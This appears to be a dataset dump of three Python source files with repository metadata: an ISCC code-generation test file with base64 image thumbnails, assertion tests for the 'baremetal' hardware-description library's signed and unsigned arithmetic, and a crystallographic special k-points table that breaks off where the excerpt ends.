4fH0pWlhqf/Nd0XCCgijVwEgwHPqArHS93U9RDzguCYXU9qhQEC8jy902FCvrR8TMX84+gilkkizMAR0TcCo7IxHO1YG3D2lYq1BA4WxekrFYnj/5hMAsaHymnqwDPPlX46x3Xy5rHuPadXFaAxJNAf7NeM5WWcM9MCs3BOpXUVIqfr+x9Igy/FehT0vBRAhNP+u6v9LEZRqfbxADwwWRSEk6Io4VSGX5LpRVqMLCG+eYAAA", "width": 200, } def test_code_text(docx_file): assert idk.code_text(docx_file).dict() == { "iscc": "ISCC:EAAQMBEYQF6457DP", "name": "title from metadata", "creator": "titusz", "characters": 4951, } def test_code_image(jpg_file): assert idk.code_image(jpg_file).dict() == { "creator": "Some Cat Lover", "height": 133, "iscc": "ISCC:EEA4GQZQTY6J5DTH", "name": "Concentrated Cat", "thumbnail": "data:image/webp;base64,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", "width": 200, } def test_code_video(mp4_file): assert idk.code_video(mp4_file).dict() == { "iscc": "ISCC:EMAV4DUD6QORW4X4", "name": "Kali by Anokato - Spiral Sessions 2019", "thumbnail": "data:image/webp;base64,UklGRkAFAABXRUJQVlA4IDQFAABQHACdASqAAGkAPrVUoU0nJL+iJds7o/AWiUAaVUmMC9Ymbvi4gI54bTdt50rwr7N+M3nP42/ab9zzG+k74b8n/VrvT9OHkr3QnKPB0+k/qr4qX8d6D/UjzQ/9N6a94N4t7AH8n/u3/R9lT+k8bP0p7Af66dcEw8O/Fjh0V9q/EzGIXOPxxGpc24WPN9p12h+zeDRpntIPLKARwz62m3BPGyFS9rzZiv3VJlg+hNKMMfZMQJzHYwM5pXOu/B8cvvwU0x4TrPQT/1NWb1QiI/XoZOGjVrAntgus6zRf5zFWbUxamLYiInReOWnQAP750EAB6/Gz7ppI6A3w/zt8U/tR4HwZILZiEJ39oTo6Jf1u3N4w7w0ALWz10zrZ8GVMOcoN7ib8ZG9jZz1xUfcW9Sdg0+9vgh5GLQpOT77rQTmy2vkPAmUpMeQOnCAYqmD8In78khGhd2PPfNzF5wjbMmcxmZr8pk0Tzza+jvY6twcoqfijYdYqRMT6BRQl95E1TQJ2vBWwn/5P406F/viJYID3/5Dl3LJlsmMlCDoIcd8zEtx+XLqcpUaER8pnGFbViIzy/0X3LvUkP9xlJzidkB3CgqYf26aIdunTUCYRLfeSpj2yptiOXx0YmRzx5XxrPm3i7GO2smpd6/o9ZIX9Q3vG20223jlv2Qrl2PToH2G91tWwDBpFLiyX+ojOGEyAtJ+PIxKoIxthBeved8lNoDHtsI2dur5AhYy0TVIwP0e6fQ0lsiHaEdU8AvOFGw5f/WaKrif6HjVbFKFQgEyBbFUQM8Xrykx3X8cKCq0EPcjj2ggd++n10yVCX4GSdB/Trerpf69HVhpJtMZLynD1z3cf9VI28q+1/LtCt8W7yI7GTekUoZaDEjALNUNT8ry/l9egi6aK59BAYWqvDgT8Vcu7hOiFL/qJBepaPtIUQkin19qvzT+9T0d8SGoG0binZs1UbMxY1phQeT3U16T17OxvcmhVnOV0C92EginYKqZw5n/xat/JbmptnAZP19BGkcOqnRCxVeJgwkxRB9vzu1xLM1i3Dt+WKXyv50lK4ykfU2srsOJHpSLgMz75gbyhEitaPiW49IooZ7Ae61bI6JMoI0N7kBDpFs8jOGXtczQBSAEtVe++l89JefzWcS2EH9Lmyk3+q7O0yHz2eE3KcImzXnN8AL/kcB0H28Y2q7WTRjGPg7qIzeg5rsuOBsSMstmMfGM1YDWb9k55rWvedKYcrQc4Tyc4uxLXOoZzfPfXVHO6sFJBw2DGX3n6sb8fegUVN+uxLKJnO4fkvw3aD6aamRI2lL1m3Z6YeRbIRkVAUbxu7QkFcfQ/NmygSImoYv96fjbxvoQLSMdaSj5ZCYYgx/J8n/XyeRaCsWAOeUqsx93z+Fq0JPrnOxm9ypga1WYQhn8RYnGjcd+y6uHoq7VAzXunweVYJGYMD5IDBZtaYCywWZHM2z5FtkzAlomZR173ct/Ls+p036ukw/nMbCKeHnkJ884g1xNf6Flzc7LRTA0H6Ttrz3rukIxtReTvlQ1FuI9QCxk3tVP9MzNrHhtwq85YHYLcgBopKZqMJxkCm62YZ+ckmErtGImje7dBmxlAZe290TV0R2vYx51znfnph4aLw6OiksjFM//JnYh/JEMYlTjl/v4LCa8qFgHQ/yPJql1BtdwmM9g3NkoL50nf/cOlQmSwljeE33QqAp0NwgkAlo7c3/LEib8gvzr+CHETvA4pAL1yMJfLDfxlG5U/+AeRF6lDsnZfKTDeUeZwAAAAAAA=", } def test_code_data(png_file): assert idk.code_data(png_file) == {"iscc": "ISCC:GAAXUI3LCN7D7VDE"} def test_code_instance(png_file): assert idk.code_instance(png_file).dict() == { "datahash": "1e20feb85f1709f51ebf31c2feab2092a61826da36cc79eddc4cb04800b47db146a6", "filesize": 54595, "iscc": "ISCC:IAA75OC7C4E7KHV7", }
107.828025
2,767
0.865792
840
16,929
17.352381
0.303571
0.006723
0.010565
0.016328
0.846323
0.826427
0.812706
0.810305
0.810305
0.80317
0
0.170497
0.066986
16,929
156
2,768
108.519231
0.752327
0
0
0.359375
0
0.039063
0.840983
0.780731
0
1
0
0
0.109375
1
0.109375
false
0
0.007813
0
0.117188
0
0
0
1
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
1
0
0
0
0
0
0
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
12
2554861aba0f88f84fb09e7d0a43e53544fe6f84
7,824
py
Python
sim_test.py
dawsonjon/baremetal
508c7d920fbe21aa5268aaae9a480ff22f951a00
[ "MIT" ]
1
2021-05-13T20:26:18.000Z
2021-05-13T20:26:18.000Z
sim_test.py
dawsonjon/baremetal
508c7d920fbe21aa5268aaae9a480ff22f951a00
[ "MIT" ]
null
null
null
sim_test.py
dawsonjon/baremetal
508c7d920fbe21aa5268aaae9a480ff22f951a00
[ "MIT" ]
null
null
null
from baremetal import * from baremetal.back_end import sign #check propagation of None. assert Signed(2).input("asdasd").get() is None assert Unsigned(2).input("asdasd").get() is None assert (Unsigned(2).input("asdasd") + 1).get() is None assert (-Unsigned(2).input("asdasd")).get() is None assert (Signed(2).input("asdasd") + 1).get() is None assert (-Signed(2).input("asdasd")).get() is None assert Signed(2).select(Signed(2).input("as"), 0, 0, 0, 0).get() is None assert Unsigned(2).select(Unsigned(2).input("as"), 0, 0, 0, 0).get() is None assert Signed(2).select(0, Signed(2).input("as"), 0, 0, 0).get() is None assert Unsigned(2).select(0, Unsigned(2).input("as"), 0, 0, 0).get() is None assert Signed(2).select(3, 0, 0, 0, default=Signed(2).input("as")).get() is None assert Unsigned(2).select(3, 0, 0, 0, default=Unsigned(2).input("as")).get() is None assert Signed(2).input("as")[0].get() is None assert Unsigned(2).input("as")[0].get() is None assert Signed(2).input("as")[1:0].get() is None assert Unsigned(2).input("as")[1:0].get() is None assert Signed(2).input("as").resize(3).get() is None assert Unsigned(2).input("as").resize(3).get() is None assert Signed(2).input("as").cat(2).get() is None assert Unsigned(2).input("as").cat(2).get() is None #+ for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) + Signed(3).constant(j)).get() == sign((i + j) & 7, 3) #- for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) - Signed(3).constant(j)).get() == sign((i - j) & 7, 3) #> for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) > Signed(3).constant(j)).get() == int(sign(i&7, 3) > sign(j&7, 3)) #< for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) < Signed(3).constant(j)).get() == int(sign(i&7, 3) < sign(j&7, 3)) #<= for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) <= Signed(3).constant(j)).get() == int(sign(i&7, 3) <= sign(j&7, 3)) #> for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) > Signed(3).constant(j)).get() == int(sign(i&7, 3) > sign(j&7, 3)) #>= for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) >= Signed(3).constant(j)).get() == int(sign(i&7, 3) >= sign(j&7, 3)) #== for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) == Signed(3).constant(j)).get() == int(sign(i&7, 3) == sign(j&7, 3)) #!= for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) != Signed(3).constant(j)).get() == int(sign(i&7, 3) != sign(j&7, 3)) #| for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) | Signed(3).constant(j)).get() == sign((i | j) & 7, 3) #^ for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) ^ Signed(3).constant(j)).get() == sign((i ^ j) & 7, 3) #& for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) & Signed(3).constant(j)).get() == sign((i & j) & 7, 3) #<< for i in range(-4, 4): for j in range(2): assert (Signed(3).constant(i) << Signed(3).constant(j)).get() == sign((i << j) & 7, 3) #>> for i in range(-4, 4): for j in range(2): assert (Signed(3).constant(i) >> Signed(3).constant(j)).get() == sign(i&7, 3) >> sign(j&7, 3) #* for i in range(-4, 4): for j in range(-4, 4): assert (Signed(3).constant(i) * Signed(3).constant(j)).get() == sign((i * j) & 7, 3) #- for j in range(-4, 4): assert (-Signed(3).constant(i)).get() == sign(-i & 7, 3) #~ for j in range(-4, 4): assert (~Signed(3).constant(i)).get() == sign(~i & 7, 3) #select for i in range(4): assert Signed(4).select(Signed(4).constant(i), 5, 6, 7, default=8).get() == (i&0x3)+5 for i in range(4): assert Signed(4).select(Signed(4).constant(i), 5, 6, 7, 8).get() == (i&0x3)+5 for i in range(4): assert Signed(4).select(Signed(4).constant(i), 5, 6, 7).get() == [5, 6, 7, 0][(i&0x3)] #index for i in range(-4, 4): for j in range(3): assert Signed(3).constant(i)[j].get() == sign(int((i & (1<<j))!=0), 1) #slice for i in range(-4, 4): for j in range(3): for k in range(j+1): assert Signed(3).constant(i)[j:k].get() == sign((i & (0xf >> 3-j)) >> k, j-k+1) #resize for i in range(-4, 4): assert Signed(3).constant(i).resize(2).get() == sign(i&3, 2) #cat for i in range(-4, 4): assert Signed(3).constant(i).cat(Signed(1).constant(0)).get() == sign(i*2&15, 4) #+ for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) + Unsigned(2).constant(j)).get() == (i + j) & 0x3 #- for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) - Unsigned(2).constant(j)).get() == (i - j) & 0x3 #> for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) > Unsigned(2).constant(j)).get() == int((i & 0x3) > (j & 0x3)) #< for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) < Unsigned(2).constant(j)).get() == int((i & 0x3) < (j & 0x3)) #<= for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) <= Unsigned(2).constant(j)).get() == int((i & 0x3) <= (j & 0x3)) #> for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) > Unsigned(2).constant(j)).get() == int((i & 0x3) > (j & 0x3)) #>= for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) >= Unsigned(2).constant(j)).get() == int((i & 0x3) >= (j & 0x3)) #== for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) == Unsigned(2).constant(j)).get() == int((i & 0x3) == (j & 0x3)) #!= for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) != Unsigned(2).constant(j)).get() == int((i & 0x3) != (j & 0x3)) #| for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) | Unsigned(2).constant(j)).get() == int((i & 0x3) | (j & 0x3)) #^ for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) ^ Unsigned(2).constant(j)).get() == int((i & 0x3) ^ (j & 0x3)) #& for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) & Unsigned(2).constant(j)).get() == int((i & 0x3) & (j & 0x3)) #<< for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) << Unsigned(2).constant(j)).get() == ((i & 0x3) << (j & 0x3)) & 0x3 #>> for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) >> Unsigned(2).constant(j)).get() == ((i & 0x3) >> (j & 0x3)) & 0x3 #* for i in range(8): for j in range(8): assert (Unsigned(2).constant(i) * Unsigned(2).constant(j)).get() == ((i & 0x3) * (j & 0x3)) & 0x3 #- for j in range(8): assert (-Unsigned(2).constant(i)).get() == (-i & 0x3) #~ for j in range(8): assert (~Unsigned(2).constant(i)).get() == (~i & 0x3) #select for i in range(8): assert Unsigned(2).select(Unsigned(2).constant(i), 5, 6, 7, default=8).get() == (i&0x3)+5 for i in range(8): assert Unsigned(2).select(Unsigned(2).constant(i), 5, 6, 7, 8).get() == (i&0x3)+5 for i in range(8): assert Unsigned(2).select(Unsigned(2).constant(i), 5, 6, 7).get() == [5, 6, 7, 0][(i&0x3)] #index for i in range(8): for j in range(3): assert Unsigned(3).constant(i)[j].get() == int((i & (1<<j))!=0) #slice for i in range(8): for j in range(3): for k in range(j+1): assert Unsigned(3).constant(i)[j:k].get() == (i & (0xf >> 3-j)) >> k #resize for i in range(-4, 4): assert Unsigned(3).constant(i).resize(2).get() == i&3 #cat for i in range(-4, 4): assert Unsigned(3).constant(i).cat(Unsigned(1).constant(0)).get() == i*2&15
31.548387
107
0.555215
1,424
7,824
3.04986
0.030899
0.13539
0.060787
0.111444
0.962468
0.949574
0.923785
0.900299
0.869215
0.825006
0
0.072351
0.197981
7,824
247
108
31.676113
0.619761
0.015593
0
0.571429
0
0
0.008359
0
0
0
0.016066
0
0.441558
1
0
false
0
0.012987
0
0.012987
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
7
2572459e813ad50ced976f0c374759aeaa757b13
94,619
py
Python
mykit/core/metadata/_spk.py
minyez/mykit
911413120c081be2cfcaef06d62dc40b2abd2747
[ "MIT" ]
4
2019-01-02T09:17:54.000Z
2019-12-26T07:15:59.000Z
mykit/core/metadata/_spk.py
minyez/mykit
911413120c081be2cfcaef06d62dc40b2abd2747
[ "MIT" ]
6
2019-03-06T03:16:12.000Z
2019-03-14T14:36:01.000Z
mykit/core/metadata/_spk.py
minyez/mykit
911413120c081be2cfcaef06d62dc40b2abd2747
[ "MIT" ]
null
null
null
# coding = utf-8 from numpy import power def _raise_need_standardize(): raise ValueError("Fail to determine special kpoints set. May need to standardize first.") # * Condition functions to determine which set of special points # * to extract the return value is the index of dictionary in # * "spPrim" key (list) # TODO: deal with 3-15 unique b axis group def cond_any(a, b, c): '''no specific condition ''' return 0 def cond_a_lt_b(a, b, c): '''check if a < b ''' if a < b: return 1 if a > b: return 0 _raise_need_standardize() def cond_c_lt_a(a, b, c): '''check if c/a < 1 ''' if c < a: return 1 if c > a: return 0 _raise_need_standardize() def cond_curt_a_lt_sqrt_c(a, b, c): '''check if cubic root of a < square root of c ''' _r = power(a, 1.0/3.0) / power(c, 0.5) if _r < 1: return 1 if _r > 1: return 0 _raise_need_standardize() def cond_abc_invsq(a, b, c): '''Check relation of {a, b, c}^-2 ''' invsq = power([a,b,c], -2) _sum = sum(invsq) k0 = 2.0 * invsq[0] - _sum > 0.0 k1 = 2.0 * invsq[2] - _sum > 0.0 k2 = all(2.0 * invsq - _sum < 0.0) for i, v in enumerate([k0, k1, k2]): if v: return i _raise_need_standardize() def cond_max_bc_noneq_left(a, b, c): '''Check whether b or c is the largest value, and the other two unequal ''' if b > max(a, c) and a != c: return 0 if c > max(a, b) and b != a: return 1 _raise_need_standardize() # ================================================= # * Special kpoints metadata, retrieved from Bilbao # ================================================= _special_kpoints = { # ! Strictly speaking, P1 has no special kpoints. # ! Gamma is added here for consistency of code 1: { "cond": cond_any, "spPrim":[ { "GM": [0.0, 0.0, 0.0], }, ] }, 2: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.0, 0.5, 0.0], "X": [0.5, 0.0, 0.0], "V": [0.5, 0.5, 0.0], "U": [0.5, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "R": [0.5, 0.5, 0.5], }, ], "kpath": [ [], ], }, 3: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.5, 0.0], "B": [0.0, 0.0, 0.5], "D": [0.0, 0.5, 0.5], "Y": [0.5, 0.0, 0.0], "C": [0.5, 0.5, 0.0], "A": [-0.5,0.0, 0.5], "E": [-0.5,0.5, 0.5], }, ], "kpath": [ [], ], }, 4: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.5, 0.0], "B": [0.0, 0.0, 0.5], "D": [0.0, 0.5, 0.5], "Y": [0.5, 0.0, 0.0], "C": [0.5, 0.5, 0.0], "A": [-0.5,0.0, 0.5], "E": [-0.5,0.5, 0.5], }, ] }, 5: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "A": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.5], }, ] }, 6: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "B": [0.0, 0.0, 0.5], "Y": [0.5, 0.0, 0.0], "A": [-0.5,0.0, 0.5], "Z": [0.0, 0.5, 0.0], "C": [0.5, 0.5, 0.0], "D": [0.0, 0.5, 0.5], "E": [-0.5,0.5, 0.5], }, ] }, 7: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "B": [0.0, 0.0, 0.5], "Y": [0.5, 0.0, 0.0], "A": [-0.5,0.0, 0.5], "Z": [0.0, 0.5, 0.0], "C": [0.5, 0.5, 0.0], "D": [0.0, 0.5, 0.5], "E": [-0.5,0.5, 0.5], }, ] }, 8: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "A": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.5], }, ] }, 9: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "A": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.5], }, ] }, 10: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.5, 0.0], "B": [0.0, 0.0, 0.5], "Y": [0.5, 0.0, 0.0], "C": [0.5, 0.5, 0.0], "D": [0.0, 0.5, 0.5], "A": [-0.5,0.0, 0.5], "E": [-0.5,0.5, 0.5], }, ], }, 11: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.5, 0.0], "B": [0.0, 0.0, 0.5], "Y": [0.5, 0.0, 0.0], "C": [0.5, 0.5, 0.0], "D": [0.0, 0.5, 0.5], "A": [-0.5,0.0, 0.5], "E": [-0.5,0.5, 0.5], }, ], }, 12: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "A": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.5], "V": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], }, ], }, 13: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.5, 0.0], "B": [0.0, 0.0, 0.5], "Y": [0.5, 0.0, 0.0], "C": [0.5, 0.5, 0.0], "D": [0.0, 0.5, 0.5], "A": [-0.5,0.0, 0.5], "E": [-0.5,0.5, 0.5], }, ] }, 14: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.5, 0.0], "B": [0.0, 0.0, 0.5], "Y": [0.5, 0.0, 0.0], "C": [0.5, 0.5, 0.0], "D": [0.0, 0.5, 0.5], "A": [-0.5,0.0, 0.5], "E": [-0.5,0.5, 0.5], }, ] }, 15: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "A": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.5], "V": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], }, ] }, 16: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "U": [0.5, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "R": [0.5, 0.5, 0.5], }, ] }, 17: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "U": [0.5, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "R": [0.5, 0.5, 0.5], }, ] }, 18: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "U": [0.5, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "R": [0.5, 0.5, 0.5], }, ] }, 19: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "U": [0.5, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "R": [0.5, 0.5, 0.5] }, ] }, 20: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 21: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 22: { "cond": cond_abc_invsq, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "T": [1.0, 0.5, 0.5], "Z": [0.5, 0.5, 0.0], "Y": [0.5, 0.0, 0.5] }, { "GM": [0.0, 0.0, 0.0], "T": [0.0, 0.5, 0.5], "Z": [0.5, 0.5, 1.0], "Y": [0.5, 0.0, 0.5] }, { "GM": [0.0, 0.0, 0.0], "T": [0.0, 0.5, 0.5], "Z": [0.5, 0.5, 0.0], "Y": [0.5, 0.0, 0.5] }, ] }, 23: { "cond": cond_max_bc_noneq_left, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5,-0.5, 0.5], "W": [0.25,0.25,0.25], "WA":[-0.25,-0.25,0.75], "T": [0.0, 0.0, 0.5], "R": [0.0, 0.5, 0.0], "S": [0.5, 0.0, 0.0] }, { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.5,-0.5], "W": [0.25,0.25,0.25], "WA":[-0.25,-0.25,0.75], "T": [0.0, 0.0, 0.5], "R": [0.0, 0.5, 0.0], "S": [0.5, 0.0, 0.0] }, ] }, 24: { "cond": cond_max_bc_noneq_left, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5,-0.5, 0.5], "W": [0.25,0.25,0.25], "WA":[-0.25,-0.25,0.75], "T": [0.0, 0.0, 0.5], "R": [0.0, 0.5, 0.0], "S": [0.5, 0.0, 0.0] }, { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.5,-0.5], "W": [0.25,0.25,0.25], "WA":[-0.25,-0.25,0.75], "T": [0.0, 0.0, 0.5], "R": [0.0, 0.5, 0.0], "S": [0.5, 0.0, 0.0] }, ] }, 25: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.0, 0.5, 0.0], "T": [0.0, 0.5, 0.5], "X": [0.5, 0.0, 0.0], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 26: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.0, 0.5, 0.0], "T": 